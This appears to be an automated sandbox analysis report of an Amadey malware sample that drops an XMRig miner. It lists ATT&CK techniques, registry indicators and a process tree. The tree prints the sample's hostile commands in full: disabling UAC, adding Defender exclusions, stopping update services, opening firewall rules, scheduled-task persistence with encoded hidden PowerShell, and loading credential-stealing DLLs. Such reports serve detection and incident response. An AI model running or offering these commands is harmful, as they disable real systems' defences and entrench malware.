amadey | 0b67dfb73a9ef15956bc9e471c3376491967ec2bb5ebe70e5ef3ec52d24c210c

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 4 IoCs

miner

resource	yara_rule
behavioral1/memory/1964-589-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig
behavioral1/memory/1964-605-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig
behavioral1/memory/1964-622-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig
behavioral1/memory/1964-645-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
2164	netsh.exe
2196	netsh.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Drops startup file 9 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SMeqMa2k0lHIqf4AtenfgT6T.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4gquLalet3bWtxp6xjexuJJv.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LGrU4XE0h7kKmKfVguBFZf2j.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6mHeYxjDaiAyodDJXPHS2Ma3.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eWLDcBoVjj1fHuCqQLdSaWx1.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4TsPgZdfd05ysXHqvgV2NW2e.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4MBl5bUCQD0IBPv7G4LXLvQ6.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XOrlefLMeC6hujJTzb8bdTwl.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\k6E2T098oHzkUyGpBS9R1bXX.bat	AddInProcess32.exe

Executes dropped EXE 13 IoCs

pid	Process
1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe
396	sc.exe
2352	nhdues.exe
1016	9J3tjkXUx0Yr9uWXJWDky6sU.exe
1752	4huj1bsCBsp4MVRJjLzXYZE3.exe
1044	rqgi5pygixbmlslJ0mbaJpZd.exe
884	8NqaTeyuto8OZMJEBhMBjAij.exe
2204	69zTJO4TEp6og8uvHztYPlZQ.exe
1584	CnYvaehNrkojkFl92fjzEbwx.exe
2880	3xUbAVMb5ytGML7eM8bbcdF9.exe
1780	Install.exe
1644	Install.exe
2096	s6.exe

Loads dropped DLL 29 IoCs

pid	Process
3048	AddInProcess32.exe
1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
3048	AddInProcess32.exe
884	8NqaTeyuto8OZMJEBhMBjAij.exe
3048	AddInProcess32.exe
2880	3xUbAVMb5ytGML7eM8bbcdF9.exe
2880	3xUbAVMb5ytGML7eM8bbcdF9.exe
2880	3xUbAVMb5ytGML7eM8bbcdF9.exe
2880	3xUbAVMb5ytGML7eM8bbcdF9.exe
1780	Install.exe
1780	Install.exe
1780	Install.exe
884	8NqaTeyuto8OZMJEBhMBjAij.exe
1780	Install.exe
1644	Install.exe
1644	Install.exe
1644	Install.exe
2352	nhdues.exe
2352	nhdues.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000016fd2-250.dat	upx
behavioral1/memory/3048-253-0x000000000AEC0000-0x000000000B3F5000-memory.dmp	upx
behavioral1/files/0x0006000000016fd2-259.dat	upx
behavioral1/files/0x0006000000016fd2-258.dat	upx
behavioral1/memory/884-315-0x0000000000B10000-0x0000000001045000-memory.dmp	upx
behavioral1/memory/884-389-0x0000000000B10000-0x0000000001045000-memory.dmp	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\file.exe = "0"	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	file.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-607259312-1573743425-2763420908-1000\Software\Microsoft\Windows\CurrentVersion\Run\s6.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000041051\\s6.exe"	nhdues.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1816 set thread context of 3048	1816	file.exe	30

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2972	sc.exe
1744	sc.exe
812	sc.exe
1608	sc.exe
396	sc.exe
2216	sc.exe
2180	sc.exe
1372	sc.exe
2944	sc.exe
1948	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2556	schtasks.exe
2756	schtasks.exe
1364	schtasks.exe
1340	schtasks.exe
1560	schtasks.exe
2444	schtasks.exe
2028	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1472	taskkill.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2880	powershell.exe
1016	9J3tjkXUx0Yr9uWXJWDky6sU.exe
1016	9J3tjkXUx0Yr9uWXJWDky6sU.exe
1232	powershell.exe
1016	9J3tjkXUx0Yr9uWXJWDky6sU.exe
1016	9J3tjkXUx0Yr9uWXJWDky6sU.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	AddInProcess32.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	1232	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 2880	1816	file.exe	28
PID 1816 wrote to memory of 2880	1816	file.exe	28
PID 1816 wrote to memory of 2880	1816	file.exe	28
PID 1816 wrote to memory of 2880	1816	file.exe	28
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 1816 wrote to memory of 3048	1816	file.exe	30
PID 3048 wrote to memory of 1628	3048	AddInProcess32.exe	31
PID 3048 wrote to memory of 1628	3048	AddInProcess32.exe	31
PID 3048 wrote to memory of 1628	3048	AddInProcess32.exe	31
PID 3048 wrote to memory of 1628	3048	AddInProcess32.exe	31
PID 3048 wrote to memory of 396	3048	AddInProcess32.exe	123
PID 3048 wrote to memory of 396	3048	AddInProcess32.exe	123
PID 3048 wrote to memory of 396	3048	AddInProcess32.exe	123
PID 3048 wrote to memory of 396	3048	AddInProcess32.exe	123
PID 1628 wrote to memory of 2352	1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe	32
PID 1628 wrote to memory of 2352	1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe	32
PID 1628 wrote to memory of 2352	1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe	32
PID 1628 wrote to memory of 2352	1628	ZT7Gkxv2LOMVXyLPGIpokNz4.exe	32
PID 3048 wrote to memory of 1016	3048	AddInProcess32.exe	34
PID 3048 wrote to memory of 1016	3048	AddInProcess32.exe	34
PID 3048 wrote to memory of 1016	3048	AddInProcess32.exe	34
PID 3048 wrote to memory of 1016	3048	AddInProcess32.exe	34
PID 3048 wrote to memory of 1752	3048	AddInProcess32.exe	35
PID 3048 wrote to memory of 1752	3048	AddInProcess32.exe	35
PID 3048 wrote to memory of 1752	3048	AddInProcess32.exe	35
PID 3048 wrote to memory of 1752	3048	AddInProcess32.exe	35
PID 3048 wrote to memory of 1044	3048	AddInProcess32.exe	36
PID 3048 wrote to memory of 1044	3048	AddInProcess32.exe	36
PID 3048 wrote to memory of 1044	3048	AddInProcess32.exe	36
PID 3048 wrote to memory of 1044	3048	AddInProcess32.exe	36
PID 2352 wrote to memory of 2444	2352	nhdues.exe	37
PID 2352 wrote to memory of 2444	2352	nhdues.exe	37
PID 2352 wrote to memory of 2444	2352	nhdues.exe	37
PID 2352 wrote to memory of 2444	2352	nhdues.exe	37
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 884	3048	AddInProcess32.exe	38
PID 3048 wrote to memory of 2204	3048	AddInProcess32.exe	43
PID 3048 wrote to memory of 2204	3048	AddInProcess32.exe	43
PID 3048 wrote to memory of 2204	3048	AddInProcess32.exe	43
PID 3048 wrote to memory of 2204	3048	AddInProcess32.exe	43
PID 2352 wrote to memory of 2256	2352	nhdues.exe	88
PID 2352 wrote to memory of 2256	2352	nhdues.exe	88
PID 2352 wrote to memory of 2256	2352	nhdues.exe	88
PID 2352 wrote to memory of 2256	2352	nhdues.exe	88
PID 3048 wrote to memory of 1584	3048	AddInProcess32.exe	42
PID 3048 wrote to memory of 1584	3048	AddInProcess32.exe	42
PID 3048 wrote to memory of 1584	3048	AddInProcess32.exe	42
PID 3048 wrote to memory of 1584	3048	AddInProcess32.exe	42
PID 2256 wrote to memory of 1948	2256	powercfg.exe	77
PID 2256 wrote to memory of 1948	2256	powercfg.exe	77
PID 2256 wrote to memory of 1948	2256	powercfg.exe	77
PID 2256 wrote to memory of 1948	2256	powercfg.exe	77

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1192
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:1816
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\file.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
    3⤵
    - Drops startup file
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3048
  - - C:\Users\Admin\Pictures\ZT7Gkxv2LOMVXyLPGIpokNz4.exe
      "C:\Users\Admin\Pictures\ZT7Gkxv2LOMVXyLPGIpokNz4.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1628
    - - C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:2352
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nhdues.exe /TR "C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:2444
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nhdues.exe" /P "Admin:N"&&CACLS "nhdues.exe" /P "Admin:R" /E&&echo Y|CACLS "..\1ff8bec27e" /P "Admin:N"&&CACLS "..\1ff8bec27e" /P "Admin:R" /E&&Exit
        6⤵
        
        PID:2256
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:1948
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:N"
        7⤵
        
        PID:1968
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nhdues.exe" /P "Admin:R" /E
        7⤵
        
        PID:2540
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        7⤵
        
        PID:2360
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:N"
        7⤵
        
        PID:2988
        
        C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\1ff8bec27e" /P "Admin:R" /E
        7⤵
        
        PID:692
      - C:\Users\Admin\AppData\Local\Temp\1000041051\s6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000041051\s6.exe"
        6⤵
        Executes dropped EXE
        
        PID:2096
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1538861666.exe"
        7⤵
        
        PID:3040
        
        C:\Users\Admin\AppData\Local\Temp\1538861666.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1538861666.exe"
        8⤵
        
        PID:2152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\0170448697.exe"
        7⤵
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\0170448697.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0170448697.exe"
        8⤵
        
        PID:268
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "s6.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1000041051\s6.exe" & exit
        7⤵
        
        PID:1296
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "s6.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:1472
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        6⤵
        
        PID:2856
        
        C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\cred64.dll, Main
        7⤵
        
        PID:2584
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a967e0f403b652\clip64.dll, Main
        6⤵
        
        PID:992
  - - C:\Users\Admin\Pictures\NtgABTT0dDydKxQ1tIYZhXLi.exe
      "C:\Users\Admin\Pictures\NtgABTT0dDydKxQ1tIYZhXLi.exe"
      4⤵
      PID:396
    - - C:\Users\Admin\Pictures\NtgABTT0dDydKxQ1tIYZhXLi.exe
        
        "C:\Users\Admin\Pictures\NtgABTT0dDydKxQ1tIYZhXLi.exe"
        5⤵
        
        PID:2108
  - - C:\Users\Admin\Pictures\9J3tjkXUx0Yr9uWXJWDky6sU.exe
      "C:\Users\Admin\Pictures\9J3tjkXUx0Yr9uWXJWDky6sU.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1016
  - - C:\Users\Admin\Pictures\4huj1bsCBsp4MVRJjLzXYZE3.exe
      "C:\Users\Admin\Pictures\4huj1bsCBsp4MVRJjLzXYZE3.exe"
      4⤵
      Executes dropped EXE
      PID:1752
  - - C:\Users\Admin\Pictures\rqgi5pygixbmlslJ0mbaJpZd.exe
      "C:\Users\Admin\Pictures\rqgi5pygixbmlslJ0mbaJpZd.exe"
      4⤵
      Executes dropped EXE
      PID:1044
    - - C:\Users\Admin\Pictures\rqgi5pygixbmlslJ0mbaJpZd.exe
        
        "C:\Users\Admin\Pictures\rqgi5pygixbmlslJ0mbaJpZd.exe"
        5⤵
        
        PID:1836
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:2016
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:2164
      - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        6⤵
        
        PID:2084
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        7⤵
        Creates scheduled task(s)
        
        PID:1340
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        7⤵
        
        PID:2720
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        7⤵
        
        PID:2076
        
        C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        7⤵
        
        PID:2356
  - - C:\Users\Admin\Pictures\8NqaTeyuto8OZMJEBhMBjAij.exe
      "C:\Users\Admin\Pictures\8NqaTeyuto8OZMJEBhMBjAij.exe" --silent --allusers=0
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:884
  - - C:\Users\Admin\Pictures\CnYvaehNrkojkFl92fjzEbwx.exe
      "C:\Users\Admin\Pictures\CnYvaehNrkojkFl92fjzEbwx.exe"
      4⤵
      Executes dropped EXE
      PID:1584
    - - C:\Users\Admin\Pictures\CnYvaehNrkojkFl92fjzEbwx.exe
        
        "C:\Users\Admin\Pictures\CnYvaehNrkojkFl92fjzEbwx.exe"
        5⤵
        
        PID:2572
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:1356
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:2196
  - - C:\Users\Admin\Pictures\69zTJO4TEp6og8uvHztYPlZQ.exe
      "C:\Users\Admin\Pictures\69zTJO4TEp6og8uvHztYPlZQ.exe"
      4⤵
      Executes dropped EXE
      PID:2204
  - - C:\Users\Admin\Pictures\3xUbAVMb5ytGML7eM8bbcdF9.exe
      "C:\Users\Admin\Pictures\3xUbAVMb5ytGML7eM8bbcdF9.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2880
    - - C:\Users\Admin\AppData\Local\Temp\7zS92BE.tmp\Install.exe
        
        .\Install.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1780
      - C:\Users\Admin\AppData\Local\Temp\7zS95D9.tmp\Install.exe
        
        .\Install.exe /dyFIdidYL "385118" /S
        6⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Enumerates system info in registry
        
        PID:1644
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        7⤵
        
        PID:840
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        8⤵
        
        PID:2268
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        9⤵
        
        PID:2188
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        9⤵
        
        PID:2572
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        7⤵
        
        PID:556
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        8⤵
        
        PID:1840
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        9⤵
        
        PID:1580
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        9⤵
        
        PID:1836
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gFMOWqgrQ" /SC once /ST 03:53:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        7⤵
        Creates scheduled task(s)
        
        PID:2556
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gFMOWqgrQ"
        7⤵
        
        PID:2084
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gFMOWqgrQ"
        7⤵
        
        PID:556
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bAutabDQFHrvmwrWbf" /SC once /ST 10:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\VIzvkiB.exe\" F9 /NFsite_idkQN 385118 /S" /V1 /F
        7⤵
        Creates scheduled task(s)
        
        PID:1364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1748
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2180
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1372
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2944
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1948
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2972
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2344
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2548
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2472
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:524
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1060
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2256
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
  2⤵
  - Creates scheduled task(s)
  PID:2028
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:3004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:1984
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1600
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1744
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Executes dropped EXE
    - Launches sc.exe
    PID:396
- - C:\Windows\System32\sc.exe
    sc stop bits
